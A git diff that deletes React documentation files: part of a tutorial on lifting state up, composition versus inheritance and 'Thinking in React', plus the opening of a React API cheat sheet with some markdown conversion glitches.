-```js
-  render() {
-    // Before: const temperature = this.state.temperature;
-    const temperature = this.props.temperature;    // ...
-```
-
-##### We know that [props are read-only](https://reactjs.org/docs/components-and-props.html#props-are-read-only). When the `temperature` was in the local state, the `TemperatureInput` could just call `this.setState()` to change it. However, now that the `temperature` is coming from the parent as a prop, the `TemperatureInput` has no control over it.
-
-> -   In React, this is usually solved by making a component "controlled". Just like the DOM `<input>` accepts both a `value` and an `onChange` prop, so can the custom `TemperatureInput` accept both `temperature` and `onTemperatureChange` props from its parent `Calculator`.
-
-Now, when the `TemperatureInput` wants to update its temperature, it calls `this.props.onTemperatureChange`:
-
-```js
-  handleChange(e) {
-    // Before: this.setState({temperature: e.target.value});
-    this.props.onTemperatureChange(e.target.value);    // ...
-```
-
-> Note:There is no special meaning to either temperature or onTemperatureChange prop names in custom components. We could have called them anything else, like name them value and onChange which is a common convention.
-
-The `onTemperatureChange` prop will be provided together with the `temperature` prop by the parent `Calculator` component. It will handle the change by modifying its own local state, thus re-rendering both inputs with the new values. We will look at the new `Calculator` implementation very soon.
-
-Before diving into the changes in the `Calculator`, let's recap our changes to the `TemperatureInput` component. We have removed the local state from it, and instead of reading `this.state.temperature`, we now read `this.props.temperature`. Instead of calling `this.setState()` when we want to make a change, we now call `this.props.onTemperatureChange()`, which will be provided by the `Calculator`:
-
-```js
-class TemperatureInput extends React.Component {
-    constructor(props) {
-        super(props);
-        this.handleChange = this.handleChange.bind(this);
-    }
-
-    handleChange(e) {
-        this.props.onTemperatureChange(e.target.value);
-    }
-
-    render() {
-        const temperature = this.props.temperature;
-        const scale = this.props.scale;
-        return (
-            <fieldset>
-                {' '}
-                <legend>Enter temperature in {scaleNames[scale]}:</legend> <input value={temperature} onChange={this.handleChange} />{' '}
-            </fieldset>
-        );
-    }
-}
-```
-
-Now let's turn to the `Calculator` component.
-
-##### We will store the current input's `temperature` and `scale` in its local state. This is the state we "lifted up" from the inputs, and it will serve as the "source of truth" for both of them. It is the minimal representation of all the data we need to know in order to render both inputs.
-
-##### For example, if we enter 37 into the Celsius input, the state of the `Calculator` component will be:
-
-```js
-{
-  temperature: '37',
-  scale: 'c'
-}
-```
-
-If we later edit the Fahrenheit field to be 212, the state of the `Calculator` will be:
-
-```js
-{
-  temperature: '212',
-  scale: 'f'
-}
-```
-
-##### We could have stored the value of both inputs but it turns out to be unnecessary. It is enough to store the value of the most recently changed input, and the scale that it represents. We can then infer the value of the other input based on the current `temperature` and `scale` alone.
-
-The inputs stay in sync because their values are computed from the same state:
-
-```js
-class Calculator extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleCelsiusChange = this.handleCelsiusChange.bind(this);
-    this.handleFahrenheitChange = this.handleFahrenheitChange.bind(this);
-    this.state = {temperature: '', scale: 'c'};  }
-
-  handleCelsiusChange(temperature) {
-    this.setState({scale: 'c', temperature});  }
-
-  handleFahrenheitChange(temperature) {
-    this.setState({scale: 'f', temperature});  }
-
-  render() {
-    const scale = this.state.scale;    const temperature = this.state.temperature;    const celsius = scale === 'f' ? tryConvert(temperature, toCelsius) : temperature;    const fahrenheit = scale === 'c' ? tryConvert(temperature, toFahrenheit) : temperature;return (
-      <div>        <TemperatureInputscale="c"          temperature={celsius}          onTemperatureChange={this.handleCelsiusChange} />        <TemperatureInputscale="f"          temperature={fahrenheit}          onTemperatureChange={this.handleFahrenheitChange} />        <BoilingVerdict          celsius={parseFloat(celsius)} />      </div>);
-  }
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/WZpxpz?editors=0010)
-  
-Now, no matter which input you edit, `this.state.temperature` and `this.state.scale` in the `Calculator` get updated. One of the inputs gets the value as is, so any user input is preserved, and the other input value is always recalculated based on it.
-  
-Let's recap what happens when you edit an input:
-  
-- React calls the function specified as `onChange` on the DOM `<input>`. In our case, this is the `handleChange` method in the `TemperatureInput` component.
-- The `handleChange` method in the `TemperatureInput` component calls `this.props.onTemperatureChange()` with the new desired value. Its props, including `onTemperatureChange`, were provided by its parent component, the `Calculator`.
-- When it previously rendered, the `Calculator` had specified that `onTemperatureChange` of the Celsius `TemperatureInput` is the `Calculator`'s `handleCelsiusChange` method, and `onTemperatureChange` of the Fahrenheit `TemperatureInput` is the `Calculator`'s `handleFahrenheitChange` method. So either of these two `Calculator` methods gets called depending on which input we edited.
-- Inside these methods, the `Calculator` component asks React to re-render itself by calling `this.setState()` with the new input value and the current scale of the input we just edited.
-- React calls the `Calculator` component's `render` method to learn what the UI should look like. The values of both inputs are recomputed based on the current temperature and the active scale. The temperature conversion is performed here.
-- React calls the `render` methods of the individual `TemperatureInput` components with their new props specified by the `Calculator`. It learns what their UI should look like.
-- React calls the `render` method of the `BoilingVerdict` component, passing the temperature in Celsius as its props.
-- React DOM updates the DOM with the boiling verdict and to match the desired input values. The input we just edited receives its current value, and the other input is updated to the temperature after conversion.
-  
-Every update goes through the same steps so the inputs stay in sync.
-  
----
-  
----
-  
-###  Lessons Learned
-  
-  
-There should be a single "source of truth" for any data that changes in a React application. Usually, the state is first added to the component that needs it for rendering. Then, if other components also need it, you can lift it up to their closest common ancestor. Instead of trying to sync the state between different components, you should rely on the [top-down data flow](https://reactjs.org/docs/state-and-lifecycle.html#the-data-flows-down ).
-  
-Lifting state involves writing more "boilerplate" code than two-way binding approaches, but as a benefit, it takes less work to find and isolate bugs. Since any state "lives" in some component and that component alone can change it, the surface area for bugs is greatly reduced. Additionally, you can implement any custom logic to reject or transform user input.
-  
-If something can be derived from either props or state, it probably shouldn't be in the state. ##### For example, instead of storing both `celsiusValue` and `fahrenheitValue`, we store just the last edited `temperature` and its `scale`. The value of the other input can always be calculated from them in the `render()` method. This lets us clear or apply rounding to the other field without losing any precision in the user input.
-  
-When you see something wrong in the UI, you can use [React Developer Tools](https://github.com/facebook/react/tree/main/packages/react-devtools ) to inspect the props and move up the tree until you find the component responsible for updating the state. This lets you trace the bugs to their source:
-  
-![https://reactjs.org/ef94afc3447d75cdc245c77efb0d63be/react-devtools-state.gif](https://reactjs.org/ef94afc3447d75cdc245c77efb0d63be/react-devtools-state.gif )
-  
----
-  
----
-  
-###  **Composition vs Inheritance**
-  
-  
----
-  
-###  React has a powerful composition model, and we recommend using composition instead of inheritance to reuse code between components.
-  
-  
-> - In this section, we will consider a few problems where developers new to React often reach for inheritance, and show how we can solve them with composition.
-  
----
-  
----
-  
-###  Containment
-  
-  
-Some components don't know their children ahead of time. This is especially common for components like `Sidebar` or `Dialog` that represent generic "boxes".
-  
-#####  We recommend that such components use the special `children` prop to pass children elements directly into their output:
-  
-  
----
-
-```js
-function FancyBorder(props) {
-    return <div className={'FancyBorder FancyBorder-' + props.color}> {props.children} </div>;
-}
-```
-
--   This lets other components pass arbitrary children to them by nesting the JSX:
-
----
-
-```js
-function WelcomeDialog() {
-    return (
-        <FancyBorder color="blue">
-            {' '}
-            <h1 className="Dialog-title"> Welcome </h1> <p className="Dialog-message"> Thank you for visiting our spacecraft! </p>{' '}
-        </FancyBorder>
-    );
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/ozqNOV?editors=0010)
-  
-Anything inside the `<FancyBorder>` JSX tag gets passed into the `FancyBorder` component as a `children` prop. Since `FancyBorder` renders `{props.children}` inside a `<div>`, the passed elements appear in the final output.
-  
-While this is less common, sometimes you might need multiple "holes" in a component. In such cases you may come up with your own convention instead of using `children`:
-  
----
-
-```js
-
-
-function SplitPane(props) {
-  return (
-    <div className="SplitPane">      <div className="SplitPane-left">        {props.left}      </div>      <div className="SplitPane-right">        {props.right}      </div>    </div>);
-}
-
-function App() {
-  return (
-    <SplitPaneleft={
-        <Contacts />      }right={
-        <Chat />      } />);
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/gwZOJp?editors=0010)
-  
-React elements like `<Contacts />` and `<Chat />` are just objects, so you can pass them as props like any other data. This approach may remind you of "slots" in other libraries but there are no limitations on what you can pass as props in React.
-  
----
-  
----
-  
-###  Specialization
-  
-  
-Sometimes we think about components as being "special cases" of other components. ##### For example, we might say that a `WelcomeDialog` is a special case of `Dialog`.
-  
-> - In React, this is also achieved by composition, where a more "specific" component renders a more "generic" one and configures it with props:
-  
----
-
-```js
-function Dialog(props) {
-    return (
-        <FancyBorder color="blue">
-            {' '}
-            <h1 className="Dialog-title"> {props.title} </h1> <p className="Dialog-message"> {props.message} </p>{' '}
-        </FancyBorder>
-    );
-}
-
-function WelcomeDialog() {
-    return <Dialog title="Welcome" message="Thank you for visiting our spacecraft!" />;
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/kkEaOZ?editors=0010)
-  
-Composition works equally well for components defined as classes:
-  
----
-
-```js
-function Dialog(props) {
-    return (
-        <FancyBorder color="blue">
-            {' '}
-            <h1 className="Dialog-title"> {props.title}</h1> <p className="Dialog-message"> {props.message}</p> {props.children}{' '}
-        </FancyBorder>
-    );
-}
-
-class SignUpDialog extends React.Component {
-    constructor(props) {
-        super(props);
-        this.handleChange = this.handleChange.bind(this);
-        this.handleSignUp = this.handleSignUp.bind(this);
-        this.state = { login: '' };
-    }
-
-    render() {
-        return (
-            <Dialog title="Mars Exploration Program" message="How should we refer to you?">
-                {' '}
-                <input value={this.state.login} onChange={this.handleChange} /> <button onClick={this.handleSignUp}> Sign Me Up! </button>{' '}
-            </Dialog>
-        );
-    }
-
-    handleChange(e) {
-        this.setState({ login: e.target.value });
-    }
-
-    handleSignUp() {
-        alert(`Welcome aboard, ${this.state.login}!`);
-    }
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/gwZbYa?editors=0010)
-  
----
-  
----
-  
-###  So What About Inheritance?
-  
-  
-At Facebook, we use React in thousands of components, and we haven't found any use cases where we would recommend creating component inheritance hierarchies.
-  
-Props and composition give you all the flexibility you need to customize a component's look and behavior in an explicit and safe way. Remember that components may accept arbitrary props, including primitive values, React elements, or functions.
-  
-If you want to reuse non-UI functionality between components, we suggest extracting it into a separate JavaScript module. The components may import it and use that function, object, or a class, without extending it.
-  
----
-  
----
-  
-###  **Thinking in React**
-  
-  
----
-  
-###  React is, in our opinion, the premier way to build big, fast Web apps with JavaScript. It has scaled very well for us at Facebook and Instagram.
-  
-  
-One of the many great parts of React is how it makes you think about apps as you build them. In this document, we'll walk you through the thought process of building a searchable product data table using React.
-  
----
-  
----
-  
-###  Start With A Mock
-  
-  
-Imagine that we already have a JSON API and a mock from our designer. The mock looks like this:
-  
-![https://reactjs.org/static/1071fbcc9eed01fddc115b41e193ec11/d4770/thinking-in-react-mock.png](https://reactjs.org/static/1071fbcc9eed01fddc115b41e193ec11/d4770/thinking-in-react-mock.png )
-  
-Our JSON API returns some data that looks like this:
-  
-```js
-[
-  {
-    category: "Sporting Goods",
-    price: "$49.99",
-    stocked: true,
-    name: "Football",
-  },
-  {
-    category: "Sporting Goods",
-    price: "$9.99",
-    stocked: true,
-    name: "Baseball",
-  },
-  {
-    category: "Sporting Goods",
-    price: "$29.99",
-    stocked: false,
-    name: "Basketball",
-  },
-  {
-    category: "Electronics",
-    price: "$99.99",
-    stocked: true,
-    name: "iPod Touch",
-  },
-  {
-    category: "Electronics",
-    price: "$399.99",
-    stocked: false,
-    name: "iPhone 5",
-  },
-  { category: "Electronics", price: "$199.99", stocked: true, name: "Nexus 7" },
-];
-```
-  
----
-  
----
-  
-###  Step 1: Break The UI Into A Component Hierarchy
-  
-  
-The first thing you'll want to do is to draw boxes around every component (and subcomponent) in the mock and give them all names. If you're working with a designer, they may have already done this, so go talk to them! Their Photoshop layer names may end up being the names of your React components!
-  
-But how do you know what should be its own component? Use the same techniques for deciding if you should create a new function or object. One such technique is the [single responsibility principle](https://en.wikipedia.org/wiki/Single_responsibility_principle ), that is, a component should ideally only do one thing. If it ends up growing, it should be decomposed into smaller subcomponents.
-  
-Since you're often displaying a JSON data model to a user, you'll find that if your model was built correctly, your UI (and therefore your component structure) will map nicely. That's because UI and data models tend to adhere to the same _information architecture_. Separate your UI into components, where each component matches one piece of your data model.
-  
-![https://reactjs.org/static/eb8bda25806a89ebdc838813bdfa3601/6b2ea/thinking-in-react-components.png](https://reactjs.org/static/eb8bda25806a89ebdc838813bdfa3601/6b2ea/thinking-in-react-components.png )
-  
-You'll see here that we have five components in our app. We've italicized the data each component represents.
-  
-1. **`FilterableProductTable` (orange):** contains the entirety of the example
-2. **`SearchBar` (blue):** receives all _user input_
-3. **`ProductTable` (green):** displays and filters the _data collection_ based on _user input_
-4. **`ProductCategoryRow` (turquoise):** displays a heading for each _category_
-5. **`ProductRow` (red):** displays a row for each _product_
-  
-If you look at `ProductTable`, you'll see that the table header (containing the "Name" and "Price" labels) isn't its own component. This is a matter of preference, and there's an argument to be made either way. For this example, we left it as part of `ProductTable` because it is part of rendering the _data collection_ which is `ProductTable`'s responsibility. However, if this header grows to be complex (e.g., if we were to add affordances for sorting), it would certainly make sense to make this its own `ProductTableHeader` component.
-  
-Now that we've identified the components in our mock, let's arrange them into a hierarchy. Components that appear within another component in the mock should appear as a child in the hierarchy:
-  
-- `FilterableProductTable`
-  - `SearchBar`
-  - `ProductTable`
-    - `ProductCategoryRow`
-    - `ProductRow`
-  
----
-  
----
-  
-###  Step 2: Build A Static Version in React
-  
-  
-See the Pen [Thinking In React: Step 2)\*\*](https://codepen.io/gaearon/pen/BwWzwm ) on [CodePen)\*\*](https://codepen.io ).
-  
-Now that you have your component hierarchy, it's time to implement your app. The easiest way is to build a version that takes your data model and renders the UI but has no interactivity. It's best to decouple these processes because building a static version requires a lot of typing and no thinking, and adding interactivity requires a lot of thinking and not a lot of typing. We'll see why.
-  
-To build a static version of your app that renders your data model, you'll want to build components that reuse other components and pass data using _props_. _props_ are a way of passing data from parent to child. If you're familiar with the concept of _state_, **don't use state at all** to build this static version. State is reserved only for interactivity, that is, data that changes over time. Since this is a static version of the app, you don't need it.
-  
-You can build top-down or bottom-up. That is, you can either start with building the components higher up in the hierarchy (i.e. starting with `FilterableProductTable`) or with the ones lower in it (`ProductRow`). In simpler examples, it's usually easier to go top-down, and on larger projects, it's easier to go bottom-up and write tests as you build.
-  
-At the end of this step, you'll have a library of reusable components that render your data model. The components will only have `render()` methods since this is a static version of your app. The component at the top of the hierarchy (`FilterableProductTable`) will take your data model as a prop. If you make a change to your underlying data model and call `ReactDOM.render()` again, the UI will be updated. You can see how your UI is updated and where to make changes. React's **one-way data flow** (also called _one-way binding_) keeps everything modular and fast.
-  
-Refer to the [React docs](https://reactjs.org/docs/ ) if you need help executing this step.
-  
----
-  
----
-  
-###  A Brief Interlude: Props vs State
-  
-  
-There are two types of "model" data in React: props and state. It's important to understand the distinction between the two; skim [the official React docs](https://reactjs.org/docs/state-and-lifecycle.html ) if you aren't sure what the difference is. See also [FAQ: What is the difference between state and props?](https://reactjs.org/docs/faq-state.html#what-is-the-difference-between-state-and-props )
-  
----
-  
----
-  
-###  Step 3: Identify The Minimal (but complete) Representation Of UI State
-  
-  
-To make your UI interactive, you need to be able to trigger changes to your underlying data model. React achieves this with **state**.
-  
-To build your app correctly, you first need to think of the minimal set of mutable state that your app needs. The key here is [DRY: _Don't Repeat Yourself_](https://en.wikipedia.org/wiki/Don 't_repeat_yourself). Figure out the absolute minimal representation of the state your application needs and compute everything else you need on-demand. ##### For example, if you're building a TODO list, keep an array of the TODO items around; don't keep a separate state variable for the count. Instead, when you want to render the TODO count, take the length of the TODO items array.
-  
-Think of all the pieces of data in our example application. We have:
-  
-- The original list of products
-- The search text the user has entered
-- The value of the checkbox
-- The filtered list of products
-  
-Let's go through each one and figure out which one is state. Ask three questions about each piece of data:
-  
-1. Is it passed in from a parent via props? If so, it probably isn't state.
-2. Does it remain unchanged over time? If so, it probably isn't state.
-3. Can you compute it based on any other state or props in your component? If so, it isn't state.
-  
-The original list of products is passed in as props, so that's not state. The search text and the checkbox seem to be state since they change over time and can't be computed from anything. And finally, the filtered list of products isn't state because it can be computed by combining the original list of products with the search text and value of the checkbox.
-  
-So finally, our state is:
-  
-- The search text the user has entered
-- The value of the checkbox
-  
----
-  
----
-  
-###  Step 4: Identify Where Your State Should Live
-  
-  
-See the Pen [Thinking In React: Step 4)\*\*](https://codepen.io/gaearon/pen/qPrNQZ ) on [CodePen)\*\*](https://codepen.io ).
-  
-OK, so we've identified what the minimal set of app state is. Next, we need to identify which component mutates, or _owns_, this state.
-  
-Remember: React is all about one-way data flow down the component hierarchy. It may not be immediately clear which component should own what state. **This is often the most challenging part for newcomers to understand,** so follow these steps to figure it out:
-  
-For each piece of state in your application:
-  
-- Identify every component that renders something based on that state.
-- Find a common owner component (a single component above all the components that need the state in the hierarchy).
-- Either the common owner or another component higher up in the hierarchy should own the state.
-- If you can't find a component where it makes sense to own the state, create a new component solely for holding the state and add it somewhere in the hierarchy above the common owner component.
-  
-Let's run through this strategy for our application:
-  
-- `ProductTable` needs to filter the product list based on state and `SearchBar` needs to display the search text and checked state.
-- The common owner component is `FilterableProductTable`.
-- It conceptually makes sense for the filter text and checked value to live in `FilterableProductTable`
-  
-Cool, so we've decided that our state lives in `FilterableProductTable`. First, add an instance property `this.state = {filterText: '', inStockOnly: false}` to `FilterableProductTable`'s `constructor` to reflect the initial state of your application. Then, pass `filterText` and `inStockOnly` to `ProductTable` and `SearchBar` as a prop. Finally, use these props to filter the rows in `ProductTable` and set the values of the form fields in `SearchBar`.
-  
-You can start seeing how your application will behave: set `filterText` to `"ball"` and refresh your app. You'll see that the data table is updated correctly.
-  
----
-  
----
-  
-###  Step 5: Add Inverse Data Flow
-  
-  
-See the Pen [Thinking In React: Step 5)\*\*](https://codepen.io/gaearon/pen/LzWZvb ) on [CodePen)\*\*](https://codepen.io ).
-  
-So far, we've built an app that renders correctly as a function of props and state flowing down the hierarchy. Now it's time to support data flowing the other way: the form components deep in the hierarchy need to update the state in `FilterableProductTable`.
-  
-React makes this data flow explicit to help you understand how your program works, but it does require a little more typing than traditional two-way data binding.
-  
-If you try to type or check the box in the current version of the example, you'll see that React ignores your input. This is intentional, as we've set the `value` prop of the `input` to always be equal to the `state` passed in from `FilterableProductTable`.
-  
-Let's think about what we want to happen. We want to make sure that whenever the user changes the form, we update the state to reflect the user input. Since components should only update their own state, `FilterableProductTable` will pass callbacks to `SearchBar` that will fire whenever the state should be updated. We can use the `onChange` event on the inputs to be notified of it. The callbacks passed by `FilterableProductTable` will call `setState()`, and the app will be updated.
-  
----
-  
----
-  
-###  And That's It
-  
-  
-Hopefully, this gives you an idea of how to think about building components and applications with React. While it may be a little more typing than you're used to, remember that code is read far more than it's written, and it's less difficult to read this modular, explicit code. As you start to build large libraries of components, you'll appreciate this explicitness and modularity, and with code reuse, your lines of code will start to shrink. :)
-  
-[Advanced Content](https://www.notion.so/Advanced-Content-fbe1ec3ca3544951b5763b051b843949 )
-  
-[React Component](https://www.notion.so/React-Component-3dc17bc49a8e4d7e89efcc1281e747d9 )
-  
-<details>
-  
----
-  
----
diff --git a/docs/content/cheat-sheets/README.md b/docs/content/cheat-sheets/README.md
deleted file mode 100644
index d0fa60edab..0000000000
--- a/docs/content/cheat-sheets/README.md
+++ /dev/null
@@ -1 +0,0 @@
-# Docs
diff --git a/docs/content/cheat-sheets/React-Cheat-Sheet.md b/docs/content/cheat-sheets/React-Cheat-Sheet.md
deleted file mode 100644
index 989f1fc032..0000000000
--- a/docs/content/cheat-sheets/React-Cheat-Sheet.md
+++ /dev/null
@@ -1,3930 +0,0 @@
----
-cover: ../.gitbook/assets/react.jpg
-coverY: -0.9904458598726115
----
-
-# React Cheat Sheet
-
----
-
-<details>
-
-<summary><strong>Cheat Sheet Written In Code</strong></summary>
-
-```jsx
-/* *******************************************************************************************
- * REACT.JS CHEATSHEET
- * DOCUMENTATION: https://reactjs.org/docs/
- * FILE STRUCTURE: https://reactjs.org/docs/faq-structure.html
- * ******************************************************************************************* */
-```
-
-npm install --save react // declarative and flexible JavaScript library for building UI
-npm install --save react-dom // serves as the entry point of the DOM-related rendering paths
-npm install --save prop-types // runtime type checking for React props and similar objects
-
-```
-
-// notes: don't forget the command lines
-
-/* *******************************************************************************************
- * REACT
- * https://reactjs.org/docs/react-api.html
- * ******************************************************************************************* */
-
-// Create and return a new React element of the given type.
-// Code written with JSX will be converted to use React.createElement().
-// You will not typically invoke React.createElement() directly if you are using JSX.
-React.createElement(
-  type,
-  [props],
-  [...children]
-)
-
-// Clone and return a new React element using element as the starting point.
-// The resulting element will have the original element's props with the new props merged in shallowly.
-React.cloneElement(
-  element,
-  [props],
-  [...children]
-)
-
-// Verifies the object is a React element. Returns true or false.
-React.isValidElement(object)
-
-React.Children  // provides utilities for dealing with the this.props.children opaque data structure.
-
-// Invokes a function on every immediate child contained within children with this set to thisArg.
-React.Children.map(children, function[(thisArg)])
-
-// Like React.Children.map() but does not return an array.
-React.Children.forEach(children, function[(thisArg)])
-
-// Returns the total number of components in children,
-// equal to the number of times that a callback passed to map or forEach would be invoked.
-React.Children.count(children)
-
-// Verifies that children has only one child (a React element) and returns it.
-// Otherwise this method throws an error.
-React.Children.only(children)
-
-// Returns the children opaque data structure as a flat array with keys assigned to each child.
-// Useful if you want to manipulate collections of children in your render methods,
-// especially if you want to reorder or slice this.props.children before passing it down.
-React.Children.toArray(children)
-
-// The React.Fragment component lets you return multiple elements in a render() method without creating an additional DOM element
-// You can also use it with the shorthand <></> syntax.
-React.Fragment
-
-/* *******************************************************************************************
- * REACT.COMPONENT
- * React.Component is an abstract base class, so it rarely makes sense to refer to React.Component
- * directly. Instead, you will typically subclass it, and define at least a render() method.
- * https://reactjs.org/docs/react-component.html
- * ******************************************************************************************* */
-
-class Component extends React.Component {
-  // Will be called before it is mounted
-  constructor(props) {
-    // Call this method before any other statement
-    // or this.props will be undefined in the constructor
-    super(props);
-
-    // The constructor is also often used to bind event handlers to the class instance.
-    // Binding makes sure the method has access to component attributes like this.props and this.state
-    this.method = this.method.bind(this);
-
-    // The constructor is the right place to initialize state.
-    this.state = {
-      active: true,
-
-      // In rare cases, it's okay to initialize state based on props.
-      // This effectively "forks" the props and sets the state with the initial props.
-      // If you "fork" props by using them for state, you might also want to implement componentWillReceiveProps(nextProps)
-      // to keep the state up-to-date with them. But lifting state up is often easier and less bug-prone.
-      color: props.initialColor
-    };
-  }
-
-  // Enqueues changes to the component state and
-  // tells React that this component and its children need to be re-rendered with the updated state.
-  // setState() does not always immediately update the component. It may batch or defer the update until later.
-  // This makes reading this.state right after calling setState() a potential pitfall.
-  // Instead, use componentDidUpdate or a setState callback.
-  // You may optionally pass an object as the first argument to setState() instead of a function.
-  setState(updater[, callback]) { }
-
-  // Invoked just before mounting occurs (before render())
-  // This is the only lifecycle hook called on server rendering.
-  componentWillMount() { }
-
-  // Invoked immediately after a component is mounted.
-  // Initialization that requires DOM nodes should go here.
-  // If you need to load data from a remote endpoint, this is a good place to instantiate the network request.
-  // This method is a good place to set up any subscriptions. If you do that, don't forget to unsubscribe in componentWillUnmount().
-  componentDidMount() { }
-
-  // Invoked before a mounted component receives new props.
-  // If you need to update the state in response to prop changes (for example, to reset it),
-  // you may compare this.props and nextProps and perform state transitions using this.setState() in this method.
-  componentWillReceiveProps(nextProps) { }
-
-  // Let React know if a component's output is not affected by the current change in state or props.
-  // The default behavior is to re-render on every state change, and in the vast majority of cases you should rely on the default behavior.
-  // shouldComponentUpdate() is invoked before rendering when new props or state are being received. Defaults to true.
-  // This method is not called for the initial render or when forceUpdate() is used.
-  // Returning false does not prevent child components from re-rendering when their state changes.
-  shouldComponentUpdate(nextProps, nextState) { }
-
-  // Invoked just before rendering when new props or state are being received.
-  // Use this as an opportunity to perform preparation before an update occurs. This method is not called for the initial render.
-  // Note that you cannot call this.setState() here; nor should you do anything else
-  // (e.g. dispatch a Redux action) that would trigger an update to a React component before componentWillUpdate() returns.
-  // If you need to update state in response to props changes, use componentWillReceiveProps() instead.
-  componentWillUpdate(nextProps, nextState) { }
-
-  // Invoked immediately after updating occurs. This method is not called for the initial render.
-  // Use this as an opportunity to operate on the DOM when the component has been updated.
-  // This is also a good place to do network requests as long as you compare the current props to previous props (e.g. a network request may not be necessary if the props have not changed).
-  componentDidUpdate(prevProps, prevState) { }
-
-  // Invoked immediately before a component is unmounted and destroyed.
-  // Perform any necessary cleanup in this method, such as invalidating timers, canceling network requests,
-  // or cleaning up any subscriptions that were created in componentDidMount().
-  componentWillUnmount() { }
-
-  // Error boundaries are React components that catch JavaScript errors anywhere in their child component tree,
-  // log those errors, and display a fallback UI instead of the component tree that crashed.
-  // Error boundaries catch errors during rendering, in lifecycle methods, and in constructors of the whole tree below them.
-  componentDidCatch() { }
-
-  // This method is required.
-  // It should be pure, meaning that it does not modify component state,
-  // it returns the same result each time it's invoked, and
-  // it does not directly interact with the browser (use lifecycle methods for this)
-  // It must return one of the following types: react elements, string and numbers, portals, null or booleans.
-  render() {
-    // Contains the props that were defined by the caller of this component.
-    console.log(this.props);
-
-    // Contains data specific to this component that may change over time.
-    // The state is user-defined, and it should be a plain JavaScript object.
-    // If you don't use it in render(), it shouldn't be in the state.
-    // For example, you can put timer IDs directly on the instance.
-    // Never mutate this.state directly, as calling setState() afterwards may replace the mutation you made.
-    // Treat this.state as if it were immutable.
-    console.log(this.state);
-
-    return (
-      <div>
-        {/* Comment goes here */}
-        Hello, {this.props.name}!
-      </div>
-    );
-  }
-}
-
-// Can be defined as a property on the component class itself, to set the default props for the class.
-// This is used for undefined props, but not for null props.
-Component.defaultProps = {
-  color: 'blue'
-};
-
-component = new Component();
-
-// By default, when your component's state or props change, your component will re-render.
-// If your render() method depends on some other data, you can tell React that the component needs re-rendering by calling forceUpdate().
-// Normally you should try to avoid all uses of forceUpdate() and only read from this.props and this.state in render().
-component.forceUpdate(callback)
-
-/* *******************************************************************************************
- * REACT.DOM
- * The react-dom package provides DOM-specific methods that can be used at the top level of
- * your app and as an escape hatch to get outside of the React model if you need to.
- * Most of your components should not need to use this module.
- * https://reactjs.org/docs/react-dom.html
- * ******************************************************************************************* */
-
-// Render a React element into the DOM in the supplied container and return a reference
-// to the component (or returns null for stateless components).
-ReactDOM.render(element, container[, callback])
-
-// Same as render(), but is used to hydrate a container whose HTML contents were rendered
-// by ReactDOMServer. React will attempt to attach event listeners to the existing markup.
-ReactDOM.hydrate(element, container[, callback])
-
-// Remove a mounted React component from the DOM and clean up its event handlers and state.
-// If no component was mounted in the container, calling this function does nothing.
-// Returns true if a component was unmounted and false if there was no component to unmount.
-ReactDOM.unmountComponentAtNode(container)
-
-// If this component has been mounted into the DOM, this returns the corresponding native browser
-// DOM element. This method is useful for reading values out of the DOM, such as form field values
-// and performing DOM measurements. In most cases, you can attach a ref to the DOM node and avoid
-// using findDOMNode at all.
-ReactDOM.findDOMNode(component)
-
-// Creates a portal. Portals provide a way to render children into a DOM node that exists outside
-// the hierarchy of the DOM component.
-ReactDOM.createPortal(child, container)
-
-/* *******************************************************************************************
- * REACTDOMSERVER
- * The ReactDOMServer object enables you to render components to static markup.
- * https://reactjs.org/docs/react-dom.html
- * ******************************************************************************************* */
-
-// Render a React element to its initial HTML. React will return an HTML string.
-// You can use this method to generate HTML on the server and send the markup down on the initial
-// request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-ReactDOMServer.renderToString(element)
-
-// Similar to renderToString, except this doesn't create extra DOM attributes that React uses
-// internally, such as data-reactroot. This is useful if you want to use React as a simple static
-// page generator, as stripping away the extra attributes can save some bytes.
-ReactDOMServer.renderToStaticMarkup(element)
-
-// Render a React element to its initial HTML. Returns a Readable stream that outputs an HTML string.
-// The HTML output by this stream is exactly equal to what ReactDOMServer.renderToString would return.
-// You can use this method to generate HTML on the server and send the markup down on the initial
-// request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-ReactDOMServer.renderToNodeStream(element)
-
-// Similar to renderToNodeStream, except this doesn't create extra DOM attributes that React uses
-// internally, such as data-reactroot. This is useful if you want to use React as a simple static
-// page generator, as stripping away the extra attributes can save some bytes.
-ReactDOMServer.renderToStaticNodeStream(element)
-
-/* *******************************************************************************************
- * TYPECHECKING WITH PROPTYPES
- * https://reactjs.org/docs/typechecking-with-proptypes.html
- * ******************************************************************************************* */
-
-import PropTypes from 'prop-types';
-
-MyComponent.propTypes = {
-  // You can declare that a prop is a specific JS type. By default, these
-  // are all optional.
-  optionalArray: PropTypes.array,
-  optionalBool: PropTypes.bool,
-  optionalFunc: PropTypes.func,
-  optionalNumber: PropTypes.number,
-  optionalObject: PropTypes.object,
-  optionalString: PropTypes.string,
-  optionalSymbol: PropTypes.symbol,
-
-  // Anything that can be rendered: numbers, strings, elements or an array
-  // (or fragment) containing these types.
-  optionalNode: PropTypes.node,
-
-  // A React element.
-  optionalElement: PropTypes.element,
-
-  // You can also declare that a prop is an instance of a class. This uses
-  // JS's instanceof operator.
-  optionalMessage: PropTypes.instanceOf(Message),
-
-  // You can ensure that your prop is limited to specific values by treating
-  // it as an enum.
-  optionalEnum: PropTypes.oneOf(['News', 'Photos']),
-
-  // An object that could be one of many types
-  optionalUnion: PropTypes.oneOfType([
-    PropTypes.string,
-    PropTypes.number,
-    PropTypes.instanceOf(Message)
-  ]),
-
-  // An array of a certain type
-  optionalArrayOf: PropTypes.arrayOf(PropTypes.number),
-
-  // An object with property values of a certain type
-  optionalObjectOf: PropTypes.objectOf(PropTypes.number),
-
-  // An object taking on a particular shape
-  optionalObjectWithShape: PropTypes.shape({
-    color: PropTypes.string,
-    fontSize: PropTypes.number
-  }),
-
-  // You can chain any of the above with `isRequired` to make sure a warning
-  // is shown if the prop isn't provided.
-  requiredFunc: PropTypes.func.isRequired,
-
-  // A value of any data type
